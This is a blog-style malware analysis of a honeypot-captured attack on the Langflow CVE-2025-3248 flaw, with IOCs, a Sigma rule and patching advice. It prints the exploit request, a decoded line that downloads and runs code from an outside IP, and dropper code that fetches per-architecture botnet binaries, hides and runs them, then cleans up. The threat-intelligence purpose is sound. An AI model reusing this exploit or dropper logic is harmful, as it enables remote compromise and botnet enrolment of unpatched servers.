CVE-2025–3248 Exploitation Attempt Caught Red-Handed: Real Attack Analysis from HoneyHarbor

4 min readJun 20, 2025

Editor’s Note: This attack was captured during testing of HoneyHarbor, our upcoming open-source honeypot deployment platform designed to make threat intelligence collection accessible to security teams of all sizes. Stay tuned for the official release!

What Hit Our Honeypots

Hey community! Our HoneyHarbor honeypot deployment just captured something really interesting — a live exploitation attempt of CVE-2025–3248, the critical Langflow RCE vulnerability.

The Attack as It Happened

Initial Strike: The Langflow RCE Exploit

On June 20, 2025 at 02:09:42 UTC, our Jenkins honeypot (jenkins.example.com) received a malicious POST request from IP 193.32.162.157:

POST /api/v1/validate/code HTTP/1.1
Host: jenkins.example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36

{"code":"def run(cmd=exec('raise Exception(exec(__import__(\"base64\").b64decode(\"aW1wb3J0IHVybGxpYi5yZXF1ZXN0CndpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbigiaHR0cDovLzY2LjYzLjE4Ny4xOTMvbGFuZ2Zsb3cucHkiKSBhcyByZXM6CiAgICBleGVjKHJlcy5yZWFkKCkp\")))'))): pass"}

Interesting observation: The attacker targeted what appeared to be a Jenkins instance but was actually trying to exploit a Langflow endpoint. This suggests either:

They’re mass-scanning for the vulnerable endpoint across different services
It’s part of a broader infrastructure compromise attempt

Decoding the Attack

The base64 payload decodes to:

import urllib.request
with urllib.request.urlopen("http://66.63.187.193/langflow.py") as res:
    exec(res.read())

This is a classic Stage 1 payload that downloads and executes a Stage 2 payload from the attacker’s infrastructure.

Stage 2: The Sophisticated Dropper

We retrieved the langflow.py file from 66.63.187.193 and found a remarkably sophisticated multi-architecture malware dropper. Here's what makes this attack particularly concerning:

Multi-Architecture Botnet Deployment

import pathlib
import pwd
import re
from urllib.request import urlretrieve
import os
import platform
import stat

def dlr(filename: str):
    urlretrieve(f"http://66.63.187.193/{filename}", filename)arch = platform.uname().machineif "x86_64" in arch:
    dlr("x86_64")
    os.rename("x86_64", ".redtail")
elif re.search(r"i[3456]86", arch):
    dlr("i686")
    os.rename("i686", ".redtail")
elif "armv8" in arch or "aarch64" in arch:
    dlr("aarch64")
    os.rename("aarch64", ".redtail")
elif "armv7" in arch:
    dlr("arm7")
    os.rename("arm7", ".redtail")

The malware comes prepared for every major CPU architecture, showing this is a well-resourced operation targeting diverse infrastructure.

Advanced Evasion Techniques

1. Intelligent Directory Selection

The malware doesn’t just drop files anywhere — it’s smart about placement:

def find_drop_directory():
    for dirpath, dirnames, filenames in os.walk("/"):
        dirpath = pathlib.Path(dirpath)
        # Avoid noexec mounts and system directories
        if any(dirpath.match(exclude) for exclude in ["/proc/*", "/tmp/*"] + noexec_dirs):
            continue
        if is_user_directory(dirpath) and has_permissions(dirpath):
            os.chdir(dirpath)
            return

This function:

Scans the entire filesystem looking for optimal drop locations
Avoids noexec mounted directories (reads /proc/mounts to identify these)
Looks for user-owned directories with full permissions
Bypasses common security controls like restricted /tmp directories

2. Anti-Forensics Measures

dlr("clean")           # Download cleanup script
os.system("sh clean")  # Execute cleanup
os.remove("clean")     # Remove cleanup script
os.remove(".redtail")  # Remove evidence

The attack includes a cleanup phase that removes traces of the operation.

3. Fallback Strategy

If the architecture-specific approach fails, the malware tries a brute-force approach:

if ok == False:
    for file in ["x86_64", "i686", "aarch64", "arm7"]:
        dlr(file)
        os.rename(file, ".redtail")
        if os.system("chmod +x .redtail && ./.redtail langflow") == 0:
            break

This ensures maximum compatibility across different systems.

Attribution: Flodrix Botnet Campaign

Based on our analysis and correlation with recent threat intelligence, this attack is part of the Flodrix botnet campaign that has been actively exploiting CVE-2025–3248 since its disclosure. The botnet specializes in:

DDoS attacks (multiple attack vectors including TCP flooding, UDP floods)
System reconnaissance and environment profiling
Process termination to eliminate security tools
Dual-channel C2 communication (TCP and UDP)

Infrastructure Analysis

Primary C2 Server: 66.63.187.193

Hosting the dropper script (langflow.py)
Serving architecture-specific binaries
Part of broader infrastructure supporting the Flodrix operation

Attack Timeline:

Initial exploit: June 20, 2025, 02:09:42 UTC
Source IP: 193.32.162.157 (likely compromised proxy/bot)
Target: jenkins.example.com (our honeypot)
Response: HTTP 403 (our honeypot did not respond)

Technical Impact Analysis

What Would Have Happened

If this attack had succeeded on a real system:

Initial Compromise: RCE via CVE-2025–3248
Persistence: Hidden .redtail binary in user directory
Botnet Enrollment: System joins Flodrix botnet
Capability Deployment:

DDoS attack platform
System reconnaissance tool
Potential data exfiltration capability
Secondary payload delivery system

Why This Attack is Significant

Active Exploitation: CVE-2025–3248 is being weaponized in the wild
Sophisticated Payload: Multi-stage, multi-architecture deployment
Evasion Techniques: Advanced anti-forensics and security bypass
Broad Targeting: Mass scanning approach hitting diverse infrastructure
Well-Resourced Operation: Professional-grade malware development

Defensive Recommendations

Immediate Actions

Patch Langflow immediately to version 1.3.0+
Block IOCs: Add 66.63.187.193 to blocklists
Hunt for artifacts: Search for .redtail files in user directories
Monitor for exploitation: Watch for POST requests to /api/v1/validate/code

Detection Rules

# Sigma rule for CVE-2025-3248 exploitation
title: Langflow CVE-2025-3248 Exploitation Attempt
logsource:
  category: webserver
detection:
  selection:
    uri_path: '/api/v1/validate/code'
    http_method: 'POST'
    request_body|contains: 'exec('
  condition: selection

Network Monitoring

Monitor for downloads from 66.63.187.193
Watch for unusual outbound connections on ports 54707, 50445
Alert on architecture-specific binary downloads (x86_64, i686, aarch64, arm7)

Lessons Learned

This incident demonstrates several critical points:

Speed of Weaponization: CVEs are being exploited within days of disclosure
Sophistication Evolution: Modern malware includes extensive evasion capabilities
Infrastructure Targeting: Attackers are going after diverse systems, not just traditional targets
Honeypot Value: Our HoneyHarbor deployment successfully captured real-world threat intelligence

Conclusion

The capture of this live CVE-2025–3248 exploitation attempt in our HoneyHarbor infrastructure provides valuable insight into current threat actor tactics. The sophistication of the Flodrix dropper — from its multi-architecture support to its intelligent evasion techniques — shows that we’re dealing with well-resourced and capable adversaries.

The bottom line: If you’re running Langflow, patch immediately. If you’re a defender, add these IOCs to your hunting lists and implement the detection rules above.

This is exactly why we run HoneyHarbor — to catch these attacks in the wild and share the intelligence with the community. Stay safe out there!

IOCs Summary

Attack IP: 193.32.162.157
C2 Server: 66.63.187.193
Malware Family: Flodrix botnet
File Artifacts: .redtail, clean, architecture binaries
CVE: CVE-2025–3248 (Langflow RCE)